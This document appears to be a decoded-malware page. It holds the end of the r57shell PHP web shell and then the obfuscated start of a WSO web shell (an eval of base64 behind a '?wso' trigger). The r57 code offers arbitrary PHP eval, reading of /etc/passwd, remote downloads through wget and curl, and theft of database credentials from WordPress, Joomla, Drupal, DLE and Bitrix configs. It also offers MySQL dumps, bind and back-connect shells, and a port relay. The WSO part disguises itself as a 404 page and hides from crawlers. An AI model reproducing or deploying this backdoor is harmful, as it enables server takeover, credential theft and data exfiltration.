$te.'</div>'.$table_end1.$fe;}else {echo $fs.$table_up1.$lang[$language.'_text28'].up_down('id2').$table_up2.div('id2').$ts;echo sr(15 ,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',85 ,$dir).in('hidden','cmd',0 ,'safe_dir').ws(4 ).in('submit','submit',0 ,$lang[$language.'_butt6']));echo $te.'</div>'.$table_end1.$fe;}echo $fs.$table_up1.$lang[$language.'_text42'].up_down('id3').$table_up2.div('id3').$ts;echo sr(15 ,"<b>".$lang[$language.'_text43'].$arrow."</b>",in('text','e_name',85 ,$dir).in('hidden','cmd',0 ,'edit_file').in('hidden','dir',0 ,$dir).ws(4 ).in('submit','submit',0 ,$lang[$language.'_butt11']));echo $te.'</div>'.$table_end1.$fe;if($safe_mode){echo $fs.$table_up1.$lang[$language.'_text57'].up_down('id4').$table_up2.div('id4').$ts;echo sr(15 ,"<b>".$lang[$language.'_text58'].$arrow."</b>",in('text','mk_name',54 ,(!empty($_POST['mk_name'])?($_POST['mk_name']):("new_name"))).ws(4 )."<select name=action><option value=create>".$lang[$language.'_text65']."</option><option value=delete>".$lang[$language.'_text66']."</option></select>".ws(3 )."<select name=what><option value=file>".$lang[$language.'_text59']."</option><option value=dir>".$lang[$language.'_text60']."</option></select>".in('hidden','cmd',0 ,'mk').in('hidden','dir',0 ,$dir).ws(4 ).in('submit','submit',0 ,$lang[$language.'_butt13']));echo $te.'</div>'.$table_end1.$fe;}if($safe_mode && $unix){echo $fs.$table_up1.$lang[$language.'_text67'].up_down('id5').$table_up2.div('id5').$ts;echo sr(15 ,"<b>".$lang[$language.'_text68'].$arrow."</b>","<select name=what><option value=mod>CHMOD</option><option value=own>CHOWN</option><option value=grp>CHGRP</option></select>".ws(2 )."<b>".$lang[$language.'_text69'].$arrow."</b>".ws(2 ).in('text','param1',40 ,(($_POST['param1'])?($_POST['param1']):("filename"))).ws(2 )."<b>".$lang[$language.'_text70'].$arrow."</b>".ws(2 ).in('text','param2 title="'.$lang[$language.'_text71'].'"',26 ,(($_POST['param2'])?($_POST['param2']):("0777"))).in('hidden','cmd',0 ,'ch_').in('hidden','dir',0 ,$dir).ws(4 ).in('submit','submit',0 ,$lang[$language.'_butt1']));echo $te.'</div>'.$table_end1.$fe;}if(!$safe_mode){foreach($aliases as $alias_name=>$alias_cmd){$aliases2.="<option>$alias_name</option>";}echo $fs.$table_up1.$lang[$language.'_text7'].up_down('id6').$table_up2.div('id6').$ts;echo sr(15 ,"<b>".ws(9 ).$lang[$language.'_text8'].$arrow.ws(4 )."</b>","<select name=alias>".$aliases2."</select>".in('hidden','dir',0 ,$dir).ws(4 ).in('submit','submit',0 ,$lang[$language.'_butt1']));echo $te.'</div>'.$table_end1.$fe;}echo $fs.$table_up1.$lang[$language.'_text54'].up_down('id7').$table_up2.div('id7').$ts;echo sr(15 ,"<b>".$lang[$language.'_text52'].$arrow."</b>",in('text','s_text',85 ,'text').ws(4 ).in('submit','submit',0 ,$lang[$language.'_butt12']));echo sr(15 ,"<b>".$lang[$language.'_text53'].$arrow."</b>",in('text','s_dir',85 ,$dir)." * ( /root;/home;/tmp )");echo sr(15 ,"<b>".$lang[$language.'_text55'].$arrow."</b>",in('checkbox','m id=m',0 ,'1').in('text','s_mask',82 ,'.txt;.php')."* ( .txt;.php;.htm )".in('hidden','cmd',0 ,'search_text').in('hidden','dir',0 ,$dir));echo $te.'</div>'.$table_end1.$fe;if(!$safe_mode && $unix){echo $fs.$table_up1.$lang[$language.'_text76'].up_down('id8').$table_up2.div('id8').$ts;echo sr(15 ,"<b>".$lang[$language.'_text72'].$arrow."</b>",in('text','s_text',85 ,'text').ws(4 ).in('submit','submit',0 ,$lang[$language.'_butt12']));echo sr(15 ,"<b>".$lang[$language.'_text73'].$arrow."</b>",in('text','s_dir',85 ,$dir)." * ( /root;/home;/tmp )");echo sr(15 ,"<b>".$lang[$language.'_text74'].$arrow."</b>",in('text','s_mask',85 ,'*.[hc]').ws(1 ).$lang[$language.'_text75'].in('hidden','cmd',0 ,'find_text').in('hidden','dir',0 ,$dir));echo $te.'</div>'.$table_end1.$fe;}echo $fs.$table_up1.$lang[$language.'_text32'].up_down('id9').$table_up2.$font;echo "<div align=center>".div('id9')."<textarea name=php_eval cols=100 rows=3>";echo (!empty($_POST['php_eval'])?($_POST['php_eval']):("/* delete script */\r\n//unlink(\"r57shell.php\");\r\n//readfile(\"/etc/passwd\");"));echo "</textarea>";echo in('hidden','dir',0 ,$dir).in('hidden','cmd',0 ,'php_eval');echo "<br>".ws(1 ).in('submit','submit',0 ,$lang[$language.'_butt1']);echo "</div></div></font>";echo $table_end1.$fe;if($safe_mode && $curl_on){echo $fs.$table_up1.$lang[$language.'_text33'].up_down('id10').$table_up2.div('id10').$ts;echo sr(15 ,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test1_file',85 ,(!empty($_POST['test1_file'])?($_POST['test1_file']):("/etc/passwd"))).in('hidden','dir',0 ,$dir).in('hidden','cmd',0 ,'test1').ws(4 ).in('submit','submit',0 ,$lang[$language.'_butt8']));echo $te.'</div>'.$table_end1.$fe;}if($safe_mode){echo $fs.$table_up1.$lang[$language.'_text34'].up_down('id11').$table_up2.div('id11').$ts;echo "<table class=table1 width=100% align=center>";echo sr(15 ,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test2_file',85 ,(!empty($_POST['test2_file'])?($_POST['test2_file']):("/etc/passwd"))).in('hidden','dir',0 ,$dir).in('hidden','cmd',0 ,'test2').ws(4 ).in('submit','submit',0 ,$lang[$language.'_butt8']));echo $te.'</div>'.$table_end1.$fe;}if($safe_mode && $mysql_on){echo $fs.$table_up1.$lang[$language.'_text35'].up_down('id12').$table_up2.div('id12').$ts;echo sr(15 ,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','test3_md',15 ,(!empty($_POST['test3_md'])?($_POST['test3_md']):("mysql"))).ws(4 )."<b>".$lang[$language.'_text37'].$arrow."</b>".in('text','test3_ml',15 ,(!empty($_POST['test3_ml'])?($_POST['test3_ml']):("root"))).ws(4 )."<b>".$lang[$language.'_text38'].$arrow."</b>".in('text','test3_mp',15 ,(!empty($_POST['test3_mp'])?($_POST['test3_mp']):("password"))).ws(4 )."<b>".$lang[$language.'_text14'].$arrow."</b>".in('text','test3_port',15 ,(!empty($_POST['test3_port'])?($_POST['test3_port']):("3306"))));echo sr(15 ,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test3_file',96 ,(!empty($_POST['test3_file'])?($_POST['test3_file']):("/etc/passwd"))).in('hidden','dir',0 ,$dir).in('hidden','cmd',0 ,'test3').ws(4 ).in('submit','submit',0 ,$lang[$language.'_butt8']));echo $te.'</div>'.$table_end1.$fe;}if($safe_mode && $mssql_on){echo $fs.$table_up1.$lang[$language.'_text85'].up_down('id13').$table_up2.div('id13').$ts;echo sr(15 ,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','test4_md',15 ,(!empty($_POST['test4_md'])?($_POST['test4_md']):("master"))).ws(4 )."<b>".$lang[$language.'_text37'].$arrow."</b>".in('text','test4_ml',15 ,(!empty($_POST['test4_ml'])?($_POST['test4_ml']):("sa"))).ws(4 )."<b>".$lang[$language.'_text38'].$arrow."</b>".in('text','test4_mp',15 ,(!empty($_POST['test4_mp'])?($_POST['test4_mp']):("password"))).ws(4 )."<b>".$lang[$language.'_text14'].$arrow."</b>".in('text','test4_port',15 ,(!empty($_POST['test4_port'])?($_POST['test4_port']):("1433"))));echo sr(15 ,"<b>".$lang[$language.'_text3'].$arrow."</b>",in('text','test4_file',96 ,(!empty($_POST['test4_file'])?($_POST['test4_file']):("dir"))).in('hidden','dir',0 ,$dir).in('hidden','cmd',0 ,'test4').ws(4 ).in('submit','submit',0 ,$lang[$language.'_butt8']));echo $te.'</div>'.$table_end1.$fe;}if(@ini_get('file_uploads')){echo "<form name=upload method=POST ENCTYPE=multipart/form-data>";echo $table_up1.$lang[$language.'_text5'].up_down('id14').$table_up2.div('id14').$ts;echo sr(15 ,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile',85 ,''));echo sr(15 ,"<b>".$lang[$language.'_text21'].$arrow."</b>",in('checkbox','nf1 id=nf1',0 ,'1').in('text','new_name',82 ,'').in('hidden','dir',0 ,$dir).ws(4 ).in('submit','submit',0 ,$lang[$language.'_butt2']));echo $te.'</div>'.$table_end1.$fe;}if(!$safe_mode && !$windows){echo $fs.$table_up1.$lang[$language.'_text15'].up_down('id15').$table_up2.div('id15').$ts;echo sr(15 ,"<b>".$lang[$language.'_text16'].$arrow."</b>","<select size=\"1\" name=\"with\"><option value=\"wget\">wget</option><option value=\"fetch\">fetch</option><option value=\"lynx\">lynx</option><option value=\"links\">links</option><option value=\"curl\">curl</option><option value=\"GET\">GET</option></select>".in('hidden','dir',0 ,$dir).ws(2 )."<b>".$lang[$language.'_text17'].$arrow."</b>".in('text','rem_file',78 ,'http://'));echo sr(15 ,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',105 ,$dir).ws(4 ).in('submit','submit',0 ,$lang[$language.'_butt2']));echo $te.'</div>'.$table_end1.$fe;}echo $fs.$table_up1.$lang[$language.'_text86'].up_down('id16').$table_up2.div('id16').$ts;echo sr(15 ,"<b>".$lang[$language.'_text59'].$arrow."</b>",in('text','d_name',85 ,$dir).in('hidden','cmd',0 ,'download_file').in('hidden','dir',0 ,$dir).ws(4 ).in('submit','submit',0 ,$lang[$language.'_butt14']));$arh=$lang[$language.'_text92'];if(@function_exists('gzcompress')){$arh.=in('radio','compress',0 ,'zip').' zip';}if(@function_exists('gzencode')){$arh.=in('radio','compress',0 ,'gzip').' gzip';}if(@function_exists('bzcompress')){$arh.=in('radio','compress',0 ,'bzip').' bzip';}echo sr(15 ,"<b>".$lang[$language.'_text91'].$arrow."</b>",in('radio','compress',0 ,'none').' '.$arh);echo $te.'</div>'.$table_end1.$fe;print $fs.$table_up1."CMS info".$table_up2.'<div style="text-align:center; margin:5px;">';print in('hidden','cmd',0 ,'safe_dir').in('hidden','dir',0 ,$dir).in('hidden','cms_info',0 ,'1').in('submit','submit',0 ,"get site info from database (WordPress, Joomla, DLE, Drupal, Bitrix)");if(isset($_POST['cms_info'])){print '</div><div style="text-align:center; margin:5px;"><textarea cols=100 rows=10>';if(is_file($dir."/wp-config.php")){$cmsFileSett=file_get_contents($dir."/wp-config.php");print "WordPress\r\n\r\n";preg_match('%\$table_prefix[^\']+\'(.+?)\'%i',$cmsFileSett,$cmsSettMatche);preg_match_all('%define\(\'(.+)\', \'(.*)\'\);%i',$cmsFileSett,$cmsSettMatches,PREG_SET_ORDER);$cmsResult=array();if(isset($cmsSettMatche[1 ]) && $cmsSettMatches>=4 ){foreach($cmsSettMatches as $cmsSettMatchesKey=>$cmsSettMatchesVal){$cmsResult[$cmsSettMatchesVal[1 ]]=$cmsSettMatchesVal[2 ];}if(isset($cmsResult['DB_NAME']) && isset($cmsResult['DB_USER']) && isset($cmsResult['DB_PASSWORD']) && isset($cmsResult['DB_HOST'])){$db=new dbmysql($cmsResult['DB_HOST'],$cmsResult['DB_USER'],$cmsResult['DB_PASSWORD'],$cmsResult['DB_NAME']);$query=$db->queryArr("SELECT `option_name`,`option_value` FROM `".$cmsSettMatche[1 ]."options`");$cmsQuery=array();foreach($query as $queryKey=>$queryVal){$cmsQuery[$queryVal['option_name']]=$queryVal['option_value'];}print_r($cmsQuery);}}}if(is_file($dir."/configuration.php")){$cmsFileSett=file_get_contents($dir."/configuration.php");print "Joomla\r\n\r\n";print iconv("utf-8","windows-1251",$cmsFileSett);}if(is_file($dir."/engine/data/config.php")){$cmsFileSett=file_get_contents($dir."/engine/data/config.php");print "DLE\r\n\r\n";print str_replace(array("\r\n\r\n","\n\n"),array("\r\n","\n"),$cmsFileSett);}if(is_file($dir."/sites/default/settings.php")){$cmsFileSett=file_get_contents($dir."/sites/default/settings.php");print "Drupal\r\n\r\n";$cmsResult=array();preg_match('%\'database\'[^\*\']+\'([^\']*)\'[^\*]+\'username\'[^\*\']+\'([^\']*)\'[^\*]+\'password\'[^\*\']+\'([^\']*)\'[^\*]+\'host\'[^\*\']+\'([^\']*)\'[^\*]+\'prefix\'[^\*\']+\'([^\']*)\'%is',$cmsFileSett,$cmsSettMatches);if(count($cmsSettMatches)==6 ){$cmsResult['host']=$cmsSettMatches[4 ];$cmsResult['user']=$cmsSettMatches[2 ];$cmsResult['pwd']=$cmsSettMatches[3 ];$cmsResult['db']=$cmsSettMatches[1 ];$cmsResult['prefix']=$cmsSettMatches[5 ];}else {preg_match('%\$db_url = \'[a-z]+://(.+?)@(.+?)/(.+?)\';[^*]+\$db_prefix = \'([^\']*)\';%i',$cmsFileSett,$cmsSettMatches);if(count($cmsSettMatches)==5 ){$userPwd=explode(":",$cmsSettMatches[1 ]);if(!isset($userPwd[1 ])){$userPwd[1 ]='';}$cmsResult['host']=$cmsSettMatches[2 ];$cmsResult['user']=$userPwd[0 ];$cmsResult['pwd']=$userPwd[1 ];$cmsResult['db']=$cmsSettMatches[3 ];$cmsResult['prefix']=$cmsSettMatches[4 ];}}if(count($cmsResult)==5 ){$db=new dbmysql($cmsResult['host'],$cmsResult['user'],$cmsResult['pwd'],$cmsResult['db']);$query=$db->queryArr("SELECT `name`,`value` FROM `".$cmsResult['prefix']."variable`");$cmsQuery=array();foreach($query as $queryKey=>$queryVal){$cmsQuery[$queryVal['name']]=$queryVal['value'];}print_r($cmsQuery);$query=$db->queryArr("SELECT * FROM `".$cmsResult['prefix']."watchdog` LIMIT 1");print_r($query);}}if(is_file($dir."/bitrix/php_interface/dbconn.php")){$cmsFileSett=file_get_contents($dir."/bitrix/php_interface/dbconn.php");print "Bitrix\r\n\r\n";preg_match('%\$DBHost[^"]+"([^"]*).+?\n\$DBLogin[^"]+"([^"]*).+\n\$DBPassword[^"]+"([^"]*).+\n\$DBName[^"]+"([^"]*)"%is',$cmsFileSett,$cmsSettMatches);$cmsResult=array();if(count($cmsSettMatches)==5 ){$cmsResult['host']=$cmsSettMatches[1 ];$cmsResult['user']=$cmsSettMatches[2 ];$cmsResult['pwd']=$cmsSettMatches[3 ];$cmsResult['db']=$cmsSettMatches[4 ];$db=new dbmysql($cmsResult['host'],$cmsResult['user'],$cmsResult['pwd'],$cmsResult['db']);$query=$db->queryArr("SELECT `NAME`,`VALUE` FROM `b_option` WHERE `MODULE_ID` = 'main'");$cmsQuery=array();foreach($query as $queryKey=>$queryVal){$cmsQuery[$queryVal['NAME']]=$queryVal['VALUE'];}print_r($cmsQuery);}}print '</textarea>';}print "</div>".$table_end1.$fe;if($mysql_on || $mssql_on || $pg_on || $ora_on){$select='<select name=db>';if($mysql_on)$select.='<option>MySQL</option>';if($mssql_on)$select.='<option>MSSQL</option>';if($pg_on)$select.='<option>PostgreSQL</option>';if($ora_on)$select.='<option>Oracle</option>';$select.='</select>';echo $table_up1.$lang[$language.'_text82'].up_down('id20').$table_up2.div('id20').$ts."<tr>".$fs."<td valign=top width=34%>".$ts;echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text77']."</div></b></font>";echo sr(45 ,"<b>".$lang[$language.'_text80'].$arrow."</b>",$select);echo sr(45 ,"<b>".$lang[$language.'_text14'].$arrow."</b>",in('text','db_port',15 ,(!empty($_POST['db_port'])?($_POST['db_port']):("3306"))));echo sr(45 ,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','mysql_l',15 ,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))));echo sr(45 ,"<b>".$lang[$language.'_text38'].$arrow."</b>",in('text','mysql_p',15 ,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password"))));echo sr(45 ,"<b>".$lang[$language.'_text78'].$arrow."</b>",in('hidden','dir',0 ,$dir).in('hidden','cmd',0 ,'db_show').in('checkbox','st id=st',0 ,'1'));echo sr(45 ,"<b>".$lang[$language.'_text79'].$arrow."</b>",in('checkbox','sc id=sc',0 ,'1'));echo sr(45 ,"",in('submit','submit',0 ,$lang[$language.'_butt7']));echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text40']."</div></b></font>";echo sr(45 ,"<b>".$lang[$language.'_text80'].$arrow."</b>",$select);echo sr(45 ,"<b>".$lang[$language.'_text14'].$arrow."</b>",in('text','db_port',15 ,(!empty($_POST['db_port'])?($_POST['db_port']):("3306"))));echo sr(45 ,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','mysql_l',15 ,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))));echo sr(45 ,"<b>".$lang[$language.'_text38'].$arrow."</b>",in('text','mysql_p',15 ,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password"))));echo sr(45 ,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','mysql_db',15 ,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql"))));echo sr(45 ,"<b>".$lang[$language.'_text39'].$arrow."</b>",in('text','mysql_tbl',15 ,(!empty($_POST['mysql_tbl'])?($_POST['mysql_tbl']):("user"))));echo sr(45 ,in('hidden','dir',0 ,$dir).in('hidden','cmd',0 ,'mysql_dump')."<b>".$lang[$language.'_text41'].$arrow."</b>",in('checkbox','dif id=dif',0 ,'1'));echo sr(45 ,"<b>".$lang[$language.'_text59'].$arrow."</b>",in('text','dif_name',15 ,(!empty($_POST['dif_name'])?($_POST['dif_name']):("dump.sql"))));echo sr(45 ,"",in('submit','submit',0 ,$lang[$language.'_butt9']));echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text83']."</div></b></font>";echo sr(45 ,"<b>".$lang[$language.'_text80'].$arrow."</b>",$select);echo sr(45 ,"<b>".$lang[$language.'_text14'].$arrow."</b>",in('text','db_port',15 ,(!empty($_POST['db_port'])?($_POST['db_port']):("3306"))));echo sr(45 ,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','mysql_l',15 ,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))));echo sr(45 ,"<b>".$lang[$language.'_text38'].$arrow."</b>",in('text','mysql_p',15 ,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password"))));echo sr(45 ,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','mysql_db',15 ,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql"))));echo sr(45 ,"<b>".$lang[$language.'_text84'].$arrow."</b>".in('hidden','dir',0 ,$dir).in('hidden','cmd',0 ,'db_query'),"");echo $te."<div align=center id='n'><textarea cols=35 name=db_query>".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES;\nSELECT * FROM user;"))."</textarea><br>".in('submit','submit',0 ,$lang[$language.'_butt1'])."</div></td>".$fe."</tr></div></table>";}if(!$safe_mode && !$windows){echo $table_up1.$lang[$language.'_text81'].up_down('id21').$table_up2.div('id21').$ts."<tr>".$fs."<td valign=top width=34%>".$ts;echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text9']."</div></b></font>";echo sr(40 ,"<b>".$lang[$language.'_text10'].$arrow."</b>",in('text','port',15 ,'11457'));echo sr(40 ,"<b>".$lang[$language.'_text11'].$arrow."</b>",in('text','bind_pass',15 ,'r57'));echo sr(40 ,"<b>".$lang[$language.'_text20'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option><option value=\"C\">C</option></select>".in('hidden','dir',0 ,$dir));echo sr(40 ,"",in('submit','submit',0 ,$lang[$language.'_butt3']));echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text12']."</div></b></font>";echo sr(40 ,"<b>".$lang[$language.'_text13'].$arrow."</b>",in('text','ip',15 ,((getenv('REMOTE_ADDR'))?(getenv('REMOTE_ADDR')):("127.0.0.1"))));echo sr(40 ,"<b>".$lang[$language.'_text14'].$arrow."</b>",in('text','port',15 ,'11457'));echo sr(40 ,"<b>".$lang[$language.'_text20'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option><option value=\"C\">C</option></select>".in('hidden','dir',0 ,$dir));echo sr(40 ,"",in('submit','submit',0 ,$lang[$language.'_butt4']));echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text22']."</div></b></font>";echo sr(40 ,"<b>".$lang[$language.'_text23'].$arrow."</b>",in('text','local_port',15 ,'11457'));echo sr(40 ,"<b>".$lang[$language.'_text24'].$arrow."</b>",in('text','remote_host',15 ,'irc.dalnet.ru'));echo sr(40 ,"<b>".$lang[$language.'_text25'].$arrow."</b>",in('text','remote_port',15 ,'6667'));echo sr(40 ,"<b>".$lang[$language.'_text26'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">datapipe.pl</option><option value=\"C\">datapipe.c</option></select>".in('hidden','dir',0 ,$dir));echo sr(40 ,"",in('submit','submit',0 ,$lang[$language.'_butt5']));echo $te."</td>".$fe."</tr></div></table>";}echo '</table>'.$table_up3."</div></div><div align=center id='n'><font face=Verdana size=-2><b>[ r57shell by RST/GHC/Staf4 | version ".$version." ]</b></font></div></td></tr></table>";exit();

Did this file decode correctly?

Original Code

<?php if(isset($_GET["wso"])){ 
eval(base64_decode("JGF1dGhfcGFzcz0iIjskY29sb3I9IiMwMGNmMDAiOyRkZWZhdWx0X2FjdGlvbj0nRmlsZXNNYW4nOyRkZWZhdWx0X3VzZV9hamF4PXRydWU7JGRlZmF1bHRfY2hhcnNldD0nV2luZG93cy0xMjUxJztpZighZW1wdHkoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSl7JHVzZXJBZ2VudHM9YXJyYXkoIkdvb2dsZSIsIlNsdXJwIiwiTVNOQm90IiwiaWFfYXJjaGl2ZXIiLCJZYW5kZXgiLCJSYW1ibGVyIik7aWYocHJlZ19tYXRjaCgnLycuaW1wbG9kZSgnfCcsJHVzZXJBZ2VudHMpLicvaScsJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSl7aGVhZGVyKCdIVFRQLzEuMCA0MDQgTm90IEZvdW5kJyk7ZXhpdDt9fUBzZXNzaW9uX3N0YXJ0KCk7QGluaV9zZXQoJ2Vycm9yX2xvZycsTlVMTCk7QGluaV9zZXQoJ2xvZ19lcnJvcnMnLDAgKTtAaW5pX3NldCgnbWF4X2V4ZWN1dGlvbl90aW1lJywwICk7QHNldF90aW1lX2xpbWl0KDAgKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDAgKTtAZGVmaW5lKCdXU09fVkVSU0lPTicsJzIuNiAvIDEuNC45Jyk7aWYoZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSl7ZnVuY3Rpb24gV1NPc3RyaXBzbGFzaGVzKCRhcnJheSl7cmV0dXJuIGlzX2FycmF5KCRhcnJheSk/YXJyYXlfbWFwKCdXU09zdHJpcHNsYXNoZXMnLCRhcnJheSk6c3RyaXBzbGFzaGVzKCRhcnJheSk7fSRfUE9TVD1XU09zdHJpcHNsYXNoZXMoJF9QT1NUKTt9ZnVuY3Rpb24gcHJpbnRMb2dpbigpeyA/PiANCjxoMT5Ob3QgRm91bmQ8L2gxPiANCjxwPlRoZSByZXF1ZXN0ZWQgVVJMIHdhcyBub3QgZm91bmQgb24gdGhpcyBzZXJ2ZXIuPC9wPiANCjxocj4gDQo8YWRkcmVzcz5BcGFjaGUgU2VydmVyIGF0IDw/PSRfU0VSVkVSWydIVFRQX0hPU1QnXSA/PiBQb3J0IDgwPC9hZGRyZXNzPiANCiAgICA8c3R5bGU+IA0KICAgICAgICBpbnB1dCB7IG1hcmdpbjowO2JhY2tncm91bmQtY29sb3I6I2ZmZjtib3JkZXI6MXB4IHNvbGlkICNmZmY7IH0gDQogICAgPC9zdHlsZT4gDQogICAgPGNlbnRlcj4gDQogICAgPGZvcm0gbWV0aG9kPXBvc3Q+IA0KICAgIDxpbnB1dCB0eXBlPXBhc3N3b3JkIG5hbWU9cGFzcz4gDQogICAgPC9mb3JtPjwvY2VudGVyPiANCiAgICA8PyBleGl0O31jbGFzcyBkYm15c3Fse3ZhciAkY29ubmlkPTAgO3ZhciAkcmVzdWx0PScnO3ZhciAkZXJyb3Jtc2c9Jyc7dmFyICRsYW5nPWFycmF5KCJlcnIxIj0+IlVuYWJsZSB0byBzZWxlY3QgZGF0YWJhc2UhIiwiZXJyMiI9PiJObyBjb25uZWN0aW9uIHRvIHRoZSBkYXRhYmFzZSEiLCJlcnIzIj0+IlVuYWJsZSB0byBleGVjdXRlIHF1ZXJ5OiAiKTt2YXIgJGVycm9yU2hvdz0xIDt2YXIgJGVycm9yRXhpdD0xIDt2YXIgJGNoYXI9IiI7ZnVuY3Rpb24gZGJteXNxbCgkc2VydmVyLCR1c2VyLCRwYXNzd29yZCwkZGF0YWJhc2UsJGNoYXI9bnVsbCl7JHRoaXMtPmNoYXI9KCRjaGFyIT1udWxsKT8kY2hhcjoiY3AxMjUxIjskdGhpcy0+c2VydmVyPSRzZXJ2ZXI7JHRoaXMtPnVzZXI9JHVzZXI7JHRoaXMtPnBhc3N3b3JkPSRwYXNzd29yZDskdGhpcy0+ZGF0YWJhc2U9JGRhdGFiYXNlO2lmKCR0aGlzLT5jb25uaWQ9PTAgKXskdGhpcy0+Y29ubmlkPUBteXNxbF9jb25uZWN0KCR0aGlzLT5zZXJ2ZXIsJHRoaXMtPnVzZXIsJHRoaXMtPnBhc3N3b3JkKTtteXNxbF9xdWVyeSgiU0VUIE5BTUVTICciLiR0aGlzLT5jaGFyLiInIik7bXlzcWxfcXVlcnkoIlNFVCBDSEFSQUNURVIgU0VUICciLiR0aGlzLT5jaGFyLiInIik7aWYoJHRoaXMtPmNvbm5pZCl7aWYoJHRoaXMtPmRhdGFiYXNlIT0iIil7aWYoQG15c3FsX3NlbGVjdF9kYigkdGhpcy0+ZGF0YWJhc2UsJHRoaXMtPmNvbm5pZCkpe3JldHVybiAkdGhpcy0+Y29ubmlkO31lbHNlIHskdGhpcy0+ZXJyb3Jtc2c9JHRoaXMtPmxhbmdbJ2VycjEnXTskdGhpcy0+ZXJyb3IoKTt9fX1lbHNlIHskdGhpcy0+ZXJyb3Jtc2c9JHRoaXMtPmxhbmdbJ2VycjInXTskdGhpcy0+ZXJyb3IoKTt9fX1mdW5jdGlvbiBxdWVyeSgkcXVlcnk9JycpeyR0aGlzLT5yZXN1bHQ9Jyc7aWYoJHF1ZXJ5KXskdGhpcy0+cmVzdWx0PUBteXNxbF9xdWVyeSgkcXVlcnksJHRoaXMtPmNvbm5pZCk7fWlmKCR0aGlzLT5yZXN1bHQpe3JldHVybiAkdGhpcy0+cmVzdWx0O31lbHNlIHskdGhpcy0+ZXJyb3Jtc2c9JHRoaXMtPmxhbmdbJ2VycjMnXS4kcXVlcnk7JHRoaXMtPmVycm9yKCk7ZmFsc2U7fX1mdW5jdGlvbiBmZXRjaHJvdygkcXVlcnk9MCApe3JldHVybiBAbXlzcWxfZmV0Y2hfYXJyYXkoJHF1ZXJ5KTt9ZnVuY3Rpb24gY291bnQoJHF1ZXJ5PTAgKXtyZXR1cm4gQG15c3FsX251bV9yb3dzKCRxdWVyeSk7fWZ1bmN0aW9uIGVzY2FwZSgkaW5wKXtyZXR1cm4gQG15c3FsX2VzY2FwZV9zdHJpbmcoJGlucCk7fWZ1bmN0aW9uIGVycm9yKCl7aWYoJHRoaXMtPmVycm9yU2hvdz09MSApe3ByaW50ICR0aGlzLT5lcnJvcm1zZzt9aWYoJHRoaXMtPmVycm9yRXhpdD09MSApe2V4aXQoKTt9fWZ1bmN0aW9uIGZldGNocm93QXJyKCRxdWVyeSl7JHJlc3VsdD1hcnJheSgpO3doaWxlKCRpdGVtPSR0aGlzLT5mZXRjaHJvdygkcXVlcnkpKXskcmVzdWx0W109JGl0ZW07fXJldHVybiAkcmVzdWx0O31mdW5jdGlvbiBxdWVyeUFycigkcXVlcnkpe3JldHVybiAkdGhpcy0+ZmV0Y2hyb3dBcnIoJHRoaXMtPnF1ZXJ5KCRxdWVyeSkpO319ZnVuY3Rpb24gU2hvd0RlZmF1bHRGb3JtKCRhZGRDb2RlLCRhPSJGaWxlc01hbiIsJHAxPScnKXtpZigkcDE9PScnKXskcDE9KGlzc2V0KCRfUE9TVFsncDEnXSk/JF9QT1NUWydwMSddOicnKTt9cHJpbnQgIjxmb3JtIG5hbWU9Zm9ybSBtZXRob2Q9UE9TVD4NCgk8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hIHZhbHVlPVwiIi4kYS4iXCI+DQoJPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YyB2YWx1ZT1cIiIuKGlzc2V0KCRfUE9TVFsnYyddKT8kX1BPU1RbJ2MnXTokR0xPQkFMU1snY3dkJ10pLiJcIj4NCgk8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1wMSB2YWx1ZT1cIiIuJHAxLiJcIj4NCgk8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1wMiB2YWx1ZT1cIiIuKGlzc2V0KCRfUE9TVFsncDInXSk/JF9QT1NUWydwMiddOicnKS4iXCI+DQoJPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9cDMgdmFsdWU9XCIiLihpc3NldCgkX1BPU1RbJ3AzJ10pPyRfUE9TVFsncDMnXTonJykuIlwiPg0KCTxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWNoYXJzZXQgdmFsdWU9XCIiLihpc3NldCgkX1BPU1R